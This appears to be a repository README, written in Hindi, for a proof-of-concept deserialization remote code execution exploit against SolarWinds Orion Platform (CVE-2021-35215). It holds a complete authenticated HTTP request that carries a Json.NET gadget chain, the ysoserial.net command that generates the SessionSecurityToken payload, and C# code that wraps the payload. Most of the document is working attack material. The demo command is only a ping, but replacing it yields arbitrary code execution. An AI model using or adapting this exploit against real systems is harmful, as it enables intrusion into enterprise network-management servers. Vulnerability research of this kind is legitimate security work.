y4er/cve-2021-35215SolarWinds Orion Platform ActionPluginBaseView डिसीरियलाइज़ेशन RCE
SolarWinds Orion Platform ActionPluginBaseView डिसीरियलाइज़ेशन RCE, लॉगिन आवश्यक।
POST /Orion/RenderControl.aspx HTTP/1.1
Host: 192.168.137.130:8787
Content-Length: 3648
Cache-Control: max-age=0
Origin: http://192.168.137.130:8787
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.137.130:8787/Orion/RenderControl.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __AntiXsrfToken=7b79f72e2fff4e3da2ed2a55e22c6484; Orion_IsSessionExp=TRUE; ASP.NET_SessionId=itp1cbio545lhbpspi3swtfu; XSRF-TOKEN=szibj206BJ7GJCVg5P7t+OiuYz4eA90M2ZC3nmwLPdI=; .ASPXAUTH=916B1713B4FE8769C96FBC7FE5E4C255E168D9839DCA328633D16D7B561F371E57EDC8CD72ED560D16A24021D12D94FDA11D74A17DE5CA21E920ADD66E9A4A060710F6D49B7CB5F1ADF57F50A9D7C51966AF4B694DFF7AB260B125DDC4CB7FFB4C10E73788631D817779FD3A4DF6D2FAAC48E96B70D2FAB68497FE24DA6D5A32832D5EA8F1957B3AF48BA86D086499075B2C2E988FE42AE638956266ADFABCB1FE50612F5630810BFD1123E3EC775D9D
Connection: close
{"Control":"~/Orion/Actions/Controls/CustomPropertyView.ascx","config":{"EnviromentType":"Alerting","ViewContextJsonString":"
{
\"$type\": \"SolarWinds.Orion.Core.Models.Actions.Contexts.AlertingActionContext, SolarWinds.Orion.Actions.Models\",
\"ExecutionMode\": 0,
\"EnviromentType\": 0,
\"EntityType\": null,
\"EntityUri\": null,
\"EntityUris\": null,
\"IsGlobalAlert\": false,
\"AlertContext\": {
\"$type\": \"SolarWinds.Orion.Core.Models.Actions.Contexts.AlertContext, SolarWinds.Orion.Actions.Models\",
\"AlertName\": null,
\"CreatedBy\": null
},
\"AlertActiveId\": null,
\"AlertObjectId\": null,
\"NetObjectData\": null,
\"ObjectDataExists\": false,
\"MacroContext\": {
\"$type\": \"SolarWinds.Orion.Core.Models.MacroParsing.MacroContext, SolarWinds.Orion.Core.Models.V1\",
\"contexts\": [
{
\"$type\": \"SolarWinds.Orion.Core.Models.MacroParsing.SwisEntityContext, SolarWinds.Orion.Core.Models.V1\",
\"DisplayName\": \"Net object properties\",
\"EntityType\": null,
\"EntityUri\": null,
\"EntityProperties\": {
\"$type\": \"SolarWinds.InformationService.Contract2.PropertyBag, SolarWinds.InformationService.Contract2\",
\"1\": {
\"$type\": \"System.IdentityModel.Tokens.SessionSecurityToken, System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\",
\"SessionToken\": {
\"$type\": \"System.Byte[], mscorlib\",
\"$value\": \"QBRTZWN1cml0eUNvbnRleHRUb2tlbkAHVmVyc2lvboNAGVNlY3VyZUNvbnZlcnNhdGlvblZlcnNpb26ZKGh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDIvc2NAAklkg0AJQ29udGV4dElkg0ADS2V5nwEBQA1FZmZlY3RpdmVUaW1lg0AKRXhwaXJ5VGltZYNAEEtleUVmZmVjdGl2ZVRpbWWDQA1LZXlFeHBpcnlUaW1lg0APQ2xhaW1zUHJpbmNpcGFsQApJZGVudGl0aWVzQAhJZGVudGl0eUAOQm9vdFN0cmFwVG9rZW6a1ARBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBdndVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0T0NJL1BnMEtQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaUJOWlhSb2IyUk9ZVzFsUFNKVGRHRnlkQ0lnU1hOSmJtbDBhV0ZzVEc5aFpFVnVZV0pzWldROUlrWmhiSE5sSWlCNGJXeHVjejBpYUhSMGNEb3ZMM05qYUdWdFlYTXViV2xqY205emIyWjBMbU52YlM5M2FXNW1lQzh5TURBMkwzaGhiV3d2Y0hKbGMyVnVkR0YwYVc5dUlpQjRiV3h1Y3pwelpEMGlZMnh5TFc1aGJXVnpjR0ZqWlRwVGVYTjBaVzB1UkdsaFoyNXZjM1JwWTNNN1lYTnpaVzFpYkhrOVUzbHpkR1Z0SWlCNGJXeHVjenA0UFNKb2RIUndPaTh2YzJOb1pXMWhjeTV0YVdOeWIzTnZablF1WTI5dEwzZHBibVo0THpJd01EWXZlR0Z0YkNJK0RRb2dJRHhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VDJKcVpXTjBTVzV6ZEdGdVkyVStEUW9nSUNBZ1BITmtPbEJ5YjJObGMzTStEUW9nSUNBZ0lDQThjMlE2VUhKdlkyVnpjeTVUZEdGeWRFbHVabTgrRFFvZ0lDQWdJQ0FnSUR4elpEcFFjbTlqWlhOelUzUmhjblJKYm1adklFRnlaM1Z0Wlc1MGN6MGlMMk1nY0dsdVp5QnNiMk5oYkdodmMzUWdMWFFpSUZOMFlXNWtZWEprUlhKeWIzSkZibU52WkdsdVp6MGllM2c2VG5Wc2JIMGlJRk4wWVc1a1lYSmtUM1YwY0hWMFJXNWpiMlJwYm1jOUludDRPazUxYkd4OUlpQlZjMlZ5VG1GdFpUMGlJaUJRWVhOemQyOXlaRDBpZTNnNlRuVnNiSDBpSUVSdmJXRnBiajBpSWlCTWIyRmtWWE5sY2xCeWIyWnBiR1U5SWtaaGJITmxJaUJHYVd4bFRtRnRaVDBpWTIxa0lpQXZQZzBLSUNBZ0lDQWdQQzl6WkRwUWNtOWpaWE56TGxOMFlYSjBTVzVtYno0TkNpQWdJQ0E4TDNOa09sQnliMk5sYzNNK0RRb2dJRHd2VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJK0N3PT0BAQEBAQ==\"
}
}
}
}
]
}
}
"},"pd989ovue8":"="}
ysoserial.net का उपयोग करके डिसीरियलाइज़ेशन डेटा उत्पन्न करें
C:\Users\admin\Downloads\ysoserial-1.34\Release>ysoserial.exe -g SessionSecurityToken -f json.net -c "ping localhost -t"
{'$type': 'System.IdentityModel.Tokens.SessionSecurityToken, System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 'SessionToken':{'$type':'System.Byte[], mscorlib','$value':'QBRTZWN1cml0eUNvbnRleHRUb2tlbkAHVmVyc2lvboNAGVNlY3VyZUNvbnZlcnNhdGlvblZlcnNpb26ZKGh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDIvc2NAAklkg0AJQ29udGV4dElkg0ADS2V5nwEBQA1FZmZlY3RpdmVUaW1lg0AKRXhwaXJ5VGltZYNAEEtleUVmZmVjdGl2ZVRpbWWDQA1LZXlFeHBpcnlUaW1lg0APQ2xhaW1zUHJpbmNpcGFsQApJZGVudGl0aWVzQAhJZGVudGl0eUAOQm9vdFN0cmFwVG9rZW6a1ARBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBdndVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0T0NJL1BnMEtQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaUJOWlhSb2IyUk9ZVzFsUFNKVGRHRnlkQ0lnU1hOSmJtbDBhV0ZzVEc5aFpFVnVZV0pzWldROUlrWmhiSE5sSWlCNGJXeHVjejBpYUhSMGNEb3ZMM05qYUdWdFlYTXViV2xqY205emIyWjBMbU52YlM5M2FXNW1lQzh5TURBMkwzaGhiV3d2Y0hKbGMyVnVkR0YwYVc5dUlpQjRiV3h1Y3pwelpEMGlZMnh5TFc1aGJXVnpjR0ZqWlRwVGVYTjBaVzB1UkdsaFoyNXZjM1JwWTNNN1lYTnpaVzFpYkhrOVUzbHpkR1Z0SWlCNGJXeHVjenA0UFNKb2RIUndPaTh2YzJOb1pXMWhjeTV0YVdOeWIzTnZablF1WTI5dEwzZHBibVo0THpJd01EWXZlR0Z0YkNJK0RRb2dJRHhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VDJKcVpXTjBTVzV6ZEdGdVkyVStEUW9nSUNBZ1BITmtPbEJ5YjJObGMzTStEUW9nSUNBZ0lDQThjMlE2VUhKdlkyVnpjeTVUZEdGeWRFbHVabTgrRFFvZ0lDQWdJQ0FnSUR4elpEcFFjbTlqWlhOelUzUmhjblJKYm1adklFRnlaM1Z0Wlc1MGN6MGlMMk1nY0dsdVp5QnNiMk5oYkdodmMzUWdMWFFpSUZOMFlXNWtZWEprUlhKeWIzSkZibU52WkdsdVp6MGllM2c2VG5Wc2JIMGlJRk4wWVc1a1lYSmtUM1YwY0hWMFJXNWpiMlJwYm1jOUludDRPazUxYkd4OUlpQlZjMlZ5VG1GdFpUMGlJaUJRWVhOemQyOXlaRDBpZTNnNlRuVnNiSDBpSUVSdmJXRnBiajBpSWlCTWIyRmtWWE5sY2xCeWIyWnBiR1U5SWtaaGJITmxJaUJHYVd4bFRtRnRaVDBpWTIxa0lpQXZQZzBLSUNBZ0lDQWdQQzl6WkRwUWNtOWpaWE56TGxOMFlYSjBTVzVtYno0TkNpQWdJQ0E4TDNOa09sQnliMk5sYzNNK0RRb2dJRHd2VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJK0N3PT0BAQEBAQ=='}}
SessionToken के base64 फ़ील्ड को बदलें।
using System;
using System.Collections.Generic;
using System.IO;
using Newtonsoft.Json;
using SolarWinds.InformationService.Contract2;
using SolarWinds.Orion.Core.Models.Actions.Contexts;
using SolarWinds.Orion.Core.Models.MacroParsing;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
var alertingActionContext = new AlertingActionContext();
var macroContext = new MacroContext();
var swisEntityContext = new SwisEntityContext();
var dictionary = new Dictionary<string, Object>();
dictionary["1"] = new Object(); // replace here with SessionSecurityToken gadget
var propertyBag = new PropertyBag(dictionary);
swisEntityContext.EntityProperties = propertyBag;
macroContext.Add(swisEntityContext);
alertingActionContext.MacroContext = macroContext;
JsonSerializerSettings settings = new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Objects
};
var serializeObject = JsonConvert.SerializeObject(alertingActionContext, settings);
Console.WriteLine(serializeObject);
var streamWriter =
new StreamWriter(@"C:\Users\admin\Desktop\my\code\netcore\ConsoleApp1\ConsoleApp1\poc.json");
// serializeObject = serializeObject.Replace("\"", "\\\"");
streamWriter.Write(serializeObject);
streamWriter.Close();
}
}
}
तीन dlls को संदर्भित करने की आवश्यकता है, इस रिपॉजिटरी में देखें।